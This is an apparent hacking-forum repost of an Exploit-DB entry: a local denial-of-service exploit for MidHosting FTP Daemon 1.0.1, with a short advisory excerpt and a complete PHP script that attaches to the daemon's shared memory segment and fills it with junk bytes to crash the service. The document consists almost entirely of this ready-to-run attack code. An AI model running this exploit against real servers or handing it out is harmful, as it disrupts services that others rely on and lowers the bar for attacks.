Exploit MidHosting FTP Daemon 1.0.1 - Shared Memory Local Denial of Service

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
22796
Проверка EDB
  1. Пройдено
Автор
FRANK DENIS
Тип уязвимости
DOS
Платформа
LINUX
CVE
null
Дата публикации
2003-06-18
PHP:
source: https://www.securityfocus.com/bid/7956/info

It has been reported that MidHosting FTP Daemon does not properly implement shared memory when the m flag (-m) is enabled. Because of this, an attacker could corrupt process memory, causing the service to crash. 

<?php
# mhftpd denial of service

define('SHMSIZE', 16384);

if (($shmid = shmop_open(ftok('/tmp', 'U'), 'w', 0777, SHMSIZE)) == -1) {
die();
}
shmop_write($shmid, str_repeat('A', SHMSIZE), 0);

?>
 
Источник
www.exploit-db.com

Похожие темы